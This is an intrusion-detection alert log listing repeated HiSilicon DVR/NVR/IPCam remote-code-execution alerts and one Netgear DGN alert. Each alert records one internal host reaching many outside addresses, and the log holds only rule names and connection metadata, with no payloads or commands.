Timestamp:	05/16/24-16:39:12.382053
SID:	2030488
Source Port:	39190
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.176.4.108

Timestamp:	05/16/24-16:39:08.044921
SID:	2030487
Source Port:	60834
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.176.4.108

Timestamp:	05/16/24-16:39:08.044921
SID:	2030488
Source Port:	60834
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 107.251.70.111

Timestamp:	05/16/24-16:39:12.301046
SID:	2030488
Source Port:	50284
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 46.64.53.45

Timestamp:	05/16/24-16:39:08.045062
SID:	2030487
Source Port:	40034
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 107.251.70.111

Timestamp:	05/16/24-16:39:12.301046
SID:	2030487
Source Port:	50284
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 57.165.22.16

Timestamp:	05/16/24-16:39:02.763252
SID:	2030488
Source Port:	42292
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.64.53.45

Timestamp:	05/16/24-16:39:08.045062
SID:	2030488
Source Port:	40034
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 151.247.43.111

Timestamp:	05/16/24-16:38:50.063834
SID:	2030488
Source Port:	58038
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 50.152.191.19

Timestamp:	05/16/24-16:38:59.518426
SID:	2030488
Source Port:	54004
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 204.115.240.82

Timestamp:	05/16/24-16:39:08.092933
SID:	2030487
Source Port:	37286
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 50.152.191.19

Timestamp:	05/16/24-16:38:59.518426
SID:	2030487
Source Port:	54004
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 80.62.193.19

Timestamp:	05/16/24-16:39:02.726923
SID:	2030487
Source Port:	43688
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 57.165.22.16

Timestamp:	05/16/24-16:39:02.763252
SID:	2030487
Source Port:	42292
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 204.115.240.82

Timestamp:	05/16/24-16:39:08.092933
SID:	2030488
Source Port:	37286
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 78.122.185.231

Timestamp:	05/16/24-16:39:16.580494
SID:	2030487
Source Port:	47370
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 151.247.43.111

Timestamp:	05/16/24-16:38:50.063834
SID:	2030487
Source Port:	58038
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.122.185.231

Timestamp:	05/16/24-16:39:16.580494
SID:	2030488
Source Port:	47370
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 64.63.81.48

Timestamp:	05/16/24-16:39:03.280147
SID:	2030488
Source Port:	53620
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 27.53.81.64

Timestamp:	05/16/24-16:38:55.196456
SID:	2030487
Source Port:	55764
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.62.193.19

Timestamp:	05/16/24-16:39:02.726923
SID:	2030488
Source Port:	43688
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 27.53.81.64

Timestamp:	05/16/24-16:38:55.196456
SID:	2030488
Source Port:	55764
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 64.63.81.48

Timestamp:	05/16/24-16:39:03.280147
SID:	2030487
Source Port:	53620
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 123.36.37.53

Timestamp:	05/16/24-16:39:14.493403
SID:	2030487
Source Port:	43024
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 197.75.2.16

Timestamp:	05/16/24-16:38:57.448957
SID:	2030488
Source Port:	53682
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 123.36.37.53

Timestamp:	05/16/24-16:39:14.493403
SID:	2030488
Source Port:	43024
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 197.75.2.16

Timestamp:	05/16/24-16:38:57.448957
SID:	2030487
Source Port:	53682
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 146.120.146.24

Timestamp:	05/16/24-16:39:08.124568
SID:	2030487
Source Port:	40482
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 25.93.72.242

Timestamp:	05/16/24-16:39:09.587543
SID:	2024916
Source Port:	47444
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 146.120.146.24

Timestamp:	05/16/24-16:39:08.124568
SID:	2030488
Source Port:	40482
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 95.244.9.96

Timestamp:	05/16/24-16:38:59.587384
SID:	2030487
Source Port:	51098
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.244.9.96

Timestamp:	05/16/24-16:38:59.587384
SID:	2030488
Source Port:	51098
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 81.90.249.41

Timestamp:	05/16/24-16:39:05.676884
SID:	2030488
Source Port:	39256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 81.90.249.41

Timestamp:	05/16/24-16:39:05.676884
SID:	2030487
Source Port:	39256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 12.57.145.34

Timestamp:	05/16/24-16:39:12.295448
SID:	2030488
Source Port:	59188
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 12.57.145.34

Timestamp:	05/16/24-16:39:12.295448
SID:	2030487
Source Port:	59188
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 124.234.153.169

Timestamp:	05/16/24-16:38:59.557148
SID:	2030487
Source Port:	41308
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 124.234.153.169

Timestamp:	05/16/24-16:38:59.557148
SID:	2030488
Source Port:	41308
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.79.134.228

Timestamp:	05/16/24-16:38:53.094685
SID:	2030487
Source Port:	52062
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.79.134.228

Timestamp:	05/16/24-16:38:53.094685
SID:	2030488
Source Port:	52062
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 192.24.214.216

Timestamp:	05/16/24-16:38:53.100369
SID:	2030488
Source Port:	57062
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 163.81.225.168

Timestamp:	05/16/24-16:38:50.063879
SID:	2030487
Source Port:	59866
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 163.81.225.168

Timestamp:	05/16/24-16:38:50.063879
SID:	2030488
Source Port:	59866
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 192.24.214.216

Timestamp:	05/16/24-16:38:53.100369
SID:	2030487
Source Port:	57062
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 62.241.115.37

Timestamp:	05/16/24-16:39:16.603538
SID:	2030487
Source Port:	43982
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 62.241.115.37

Timestamp:	05/16/24-16:39:16.603538
SID:	2030488
Source Port:	43982
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 92.95.171.201

Timestamp:	05/16/24-16:39:02.744337
SID:	2030488
Source Port:	49388
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 92.95.171.201

Timestamp:	05/16/24-16:39:02.744337
SID:	2030487
Source Port:	49388
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 120.118.23.244

Timestamp:	05/16/24-16:38:50.075703
SID:	2030487
Source Port:	38026
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 120.118.23.244

Timestamp:	05/16/24-16:38:50.075703
SID:	2030488
Source Port:	38026
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.148.170.245

Timestamp:	05/16/24-16:38:55.176045
SID:	2030488
Source Port:	50246
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 93.163.97.85

Timestamp:	05/16/24-16:39:12.384317
SID:	2030488
Source Port:	38720
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 93.163.97.85

Timestamp:	05/16/24-16:39:12.384317
SID:	2030487
Source Port:	38720
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 100.186.111.227

Timestamp:	05/16/24-16:38:57.446946
SID:	2030487
Source Port:	33432
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 100.186.111.227

Timestamp:	05/16/24-16:38:57.446946
SID:	2030488
Source Port:	33432
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 79.75.204.9

Timestamp:	05/16/24-16:38:50.065117
SID:	2030487
Source Port:	40552
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 79.75.204.9

Timestamp:	05/16/24-16:38:50.065117
SID:	2030488
Source Port:	40552
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 151.225.84.223

Timestamp:	05/16/24-16:38:59.592937
SID:	2030487
Source Port:	53772
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 151.225.84.223

Timestamp:	05/16/24-16:38:59.592937
SID:	2030488
Source Port:	53772
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 14.160.106.140

Timestamp:	05/16/24-16:39:05.678478
SID:	2030487
Source Port:	59302
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 14.160.106.140

Timestamp:	05/16/24-16:39:05.678478
SID:	2030488
Source Port:	59302
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 1.155.134.26

Timestamp:	05/16/24-16:39:14.492259
SID:	2030487
Source Port:	32796
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 1.155.134.26

Timestamp:	05/16/24-16:39:14.492259
SID:	2030488
Source Port:	32796
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 220.30.234.129

Timestamp:	05/16/24-16:38:50.004271
SID:	2030487
Source Port:	36594
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 183.90.46.118

Timestamp:	05/16/24-16:38:57.303515
SID:	2030487
Source Port:	37502
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 220.30.234.129

Timestamp:	05/16/24-16:38:50.004271
SID:	2030488
Source Port:	36594
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 183.90.46.118

Timestamp:	05/16/24-16:38:57.303515
SID:	2030488
Source Port:	37502
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 132.28.22.145

Timestamp:	05/16/24-16:39:12.301145
SID:	2030487
Source Port:	51004
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 132.28.22.145

Timestamp:	05/16/24-16:39:12.301145
SID:	2030488
Source Port:	51004
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 191.52.96.184

Timestamp:	05/16/24-16:39:02.744365
SID:	2030488
Source Port:	46894
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 191.52.96.184

Timestamp:	05/16/24-16:39:02.744365
SID:	2030487
Source Port:	46894
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 48.138.171.132

Timestamp:	05/16/24-16:39:14.516181
SID:	2030487
Source Port:	48872
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 48.138.171.132

Timestamp:	05/16/24-16:39:14.516181
SID:	2030488
Source Port:	48872
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.89.205.41

Timestamp:	05/16/24-16:38:57.411388
SID:	2030488
Source Port:	53058
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 213.89.205.41

Timestamp:	05/16/24-16:38:57.411388
SID:	2030487
Source Port:	53058
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 37.78.156.216

Timestamp:	05/16/24-16:39:05.709519
SID:	2030487
Source Port:	34332
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.78.156.216

Timestamp:	05/16/24-16:39:05.709519
SID:	2030488
Source Port:	34332
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 195.148.170.245

Timestamp:	05/16/24-16:38:55.176045
SID:	2030487
Source Port:	50246
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.114.221.234

Timestamp:	05/16/24-16:39:02.767706
SID:	2030488
Source Port:	37740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 112.114.221.234

Timestamp:	05/16/24-16:39:02.767706
SID:	2030487
Source Port:	37740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 23.194.158.252

Timestamp:	05/16/24-16:39:16.580465
SID:	2030487
Source Port:	34218
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.194.158.252

Timestamp:	05/16/24-16:39:16.580465
SID:	2030488
Source Port:	34218
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 9.242.152.172

Timestamp:	05/16/24-16:38:53.062221
SID:	2030488
Source Port:	52144
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 9.242.152.172

Timestamp:	05/16/24-16:38:53.062221
SID:	2030487
Source Port:	52144
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 66.21.52.212

Timestamp:	05/16/24-16:38:53.011217
SID:	2030488
Source Port:	40886
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 66.21.52.212

Timestamp:	05/16/24-16:38:53.011217
SID:	2030487
Source Port:	40886
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 79.229.42.131

Timestamp:	05/16/24-16:39:02.746086
SID:	2030487
Source Port:	45148
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 146.174.64.163

Timestamp:	05/16/24-16:38:55.177046
SID:	2030488
Source Port:	56990
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 135.66.99.199

Timestamp:	05/16/24-16:38:59.558022
SID:	2030487
Source Port:	60934
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 135.66.99.199

Timestamp:	05/16/24-16:38:59.558022
SID:	2030488
Source Port:	60934
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 69.236.152.157

Timestamp:	05/16/24-16:39:02.767716
SID:	2030488
Source Port:	33688
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 146.174.64.163

Timestamp:	05/16/24-16:38:55.177046
SID:	2030487
Source Port:	56990
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 69.236.152.157

Timestamp:	05/16/24-16:39:02.767716
SID:	2030487
Source Port:	33688
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 191.111.159.137

Timestamp:	05/16/24-16:38:55.177039
SID:	2030487
Source Port:	60108
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 191.111.159.137

Timestamp:	05/16/24-16:38:55.177039
SID:	2030488
Source Port:	60108
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 205.71.189.244

Timestamp:	05/16/24-16:39:05.704135
SID:	2030487
Source Port:	49280
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 164.17.57.82

Timestamp:	05/16/24-16:38:53.098255
SID:	2030487
Source Port:	54052
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 147.122.99.241

Timestamp:	05/16/24-16:38:55.175004
SID:	2030487
Source Port:	49714
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.17.57.82

Timestamp:	05/16/24-16:38:53.098255
SID:	2030488
Source Port:	54052
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

